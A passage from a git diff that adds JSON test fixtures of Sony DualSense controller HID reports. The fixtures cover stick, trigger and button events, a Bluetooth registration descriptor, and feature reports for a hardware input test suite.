+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x3f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba,
+          0x50, 0x87, 0x83],
+        [0x31, 0x00, 0x7f, 0x00, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbb,
+          0xdc, 0xab, 0x07],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0xbf, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaf,
+          0xcf, 0x8c, 0x42],
+        [0x31, 0x00, 0x7f, 0xff, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05,
+          0x83, 0xb1, 0xcf],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x3f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f,
+          0x43, 0xfb, 0x3b],
+        [0x31, 0x00, 0x7f, 0x7f, 0x00, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c,
+          0x9c, 0x36, 0xa9],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0xbf, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31,
+          0xfd, 0x79, 0x51],
+        [0x31, 0x00, 0x7f, 0x7f, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e,
+          0xa2, 0x38, 0x64],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x3f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38,
+          0xf9, 0x4d, 0xfa],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4,
+          0x71, 0x1c, 0xe5],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0xbf, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29,
+          0x35, 0xd3, 0xc8],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0xff, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
+          0xd0, 0x24, 0x3c],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd5,
+          0xc7, 0xe1, 0xa6],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0xff, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf9,
+          0x35, 0x41, 0xe0],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x7f, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbd,
+          0x8c, 0xbe, 0x32],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0xff, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
+          0xd9, 0xf2, 0xfb],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+          0x1c, 0xba, 0x0e]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
new file mode 100644
index 0000000..3d4f9e8
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_register.json
@@ -0,0 +1,52 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Sony DualSense (model 409B-CFIZCT1)(Bluetooth Test)",
+  "vid": 0x054c,
+  "pid": 0x0ce6,
+  "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35,
+    0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15, 0x00, 0x25,
+    0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x65, 0x00,
+    0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0e, 0x81, 0x02,
+    0x75, 0x06, 0x95, 0x01, 0x81, 0x01, 0x05, 0x01, 0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff,
+    0x00, 0x75, 0x08, 0x95, 0x02, 0x81, 0x02, 0x06, 0x00, 0xff, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75,
+    0x08, 0x95, 0x4d, 0x85, 0x31, 0x09, 0x31, 0x91, 0x02, 0x09, 0x3b, 0x81, 0x02, 0x85, 0x32, 0x09,
+    0x32, 0x95, 0x8d, 0x91, 0x02, 0x85, 0x33, 0x09, 0x33, 0x95, 0xcd, 0x91, 0x02, 0x85, 0x34, 0x09,
+    0x34, 0x96, 0x0d, 0x01, 0x91, 0x02, 0x85, 0x35, 0x09, 0x35, 0x96, 0x4d, 0x01, 0x91, 0x02, 0x85,
+    0x36, 0x09, 0x36, 0x96, 0x8d, 0x01, 0x91, 0x02, 0x85, 0x37, 0x09, 0x37, 0x96, 0xcd, 0x01, 0x91,
+    0x02, 0x85, 0x38, 0x09, 0x38, 0x96, 0x0d, 0x02, 0x91, 0x02, 0x85, 0x39, 0x09, 0x39, 0x96, 0x22,
+    0x02, 0x91, 0x02, 0x06, 0x80, 0xff, 0x85, 0x05, 0x09, 0x33, 0x95, 0x28, 0xb1, 0x02, 0x85, 0x08,
+    0x09, 0x34, 0x95, 0x2f, 0xb1, 0x02, 0x85, 0x09, 0x09, 0x24, 0x95, 0x13, 0xb1, 0x02, 0x85, 0x20,
+    0x09, 0x26, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x22, 0x09, 0x40, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x80,
+    0x09, 0x28, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x81, 0x09, 0x29, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x82,
+    0x09, 0x2a, 0x95, 0x09, 0xb1, 0x02, 0x85, 0x83, 0x09, 0x2b, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf1,
+    0x09, 0x31, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf2, 0x09, 0x32, 0x95, 0x0f, 0xb1, 0x02, 0x85, 0xf0,
+    0x09, 0x30, 0x95, 0x3f, 0xb1, 0x02, 0xc0
+  ],
+
+  "feature_reports": [
+    {
+      "id": 0x05,
+      "data":
+        [0x5, 0xff, 0xff, 0xf2, 0xff, 0x4, 0x0, 0x9d, 0x22, 0x5e, 0xdd, 0x92, 0x22, 0x52, 0xdd, 0xba, 0x22, 0x51, 0xdd, 0x1c, 0x2, 0x1c, 0x2, 0xfb, 0x1f, 0x5, 0xe0, 0x83, 0x1f, 0x99, 0xdf, 0x7, 0x20, 0xfc, 0xdf, 0x5, 0x0, 0x72, 0xad, 0x2c, 0x13]
+    },
+    {
+      "id": 0x09,
+      "data":
+        [0x09, 0xa9, 0x3e, 0x7a, 0x7e, 0x0b, 0xcd, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xdf, 0xec, 0xe0]
+    },
+    {
+      "id": 0x20,
+      "data": [
+        0x20, 0x41, 0x75, 0x67, 0x20, 0x31, 0x38, 0x20, 0x32, 0x30, 0x32, 0x30,
+        0x30, 0x36, 0x3a, 0x32, 0x30, 0x3a, 0x32, 0x39, 0x03, 0x00, 0x04, 0x00,
+        0x13, 0x03, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x01, 0x41, 0x0a, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, 0x00,
+        0x2a, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x00, 0x06, 0x00, 0x00, 0x00,
+        0x98, 0xd8, 0xb3, 0xb7]
+    }
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_usb_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualsense_usb_keyeventtests.json
new file mode 100644
index 0000000..5f4d5fe
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_usb_keyeventtests.json
@@ -0,0 +1,275 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00],
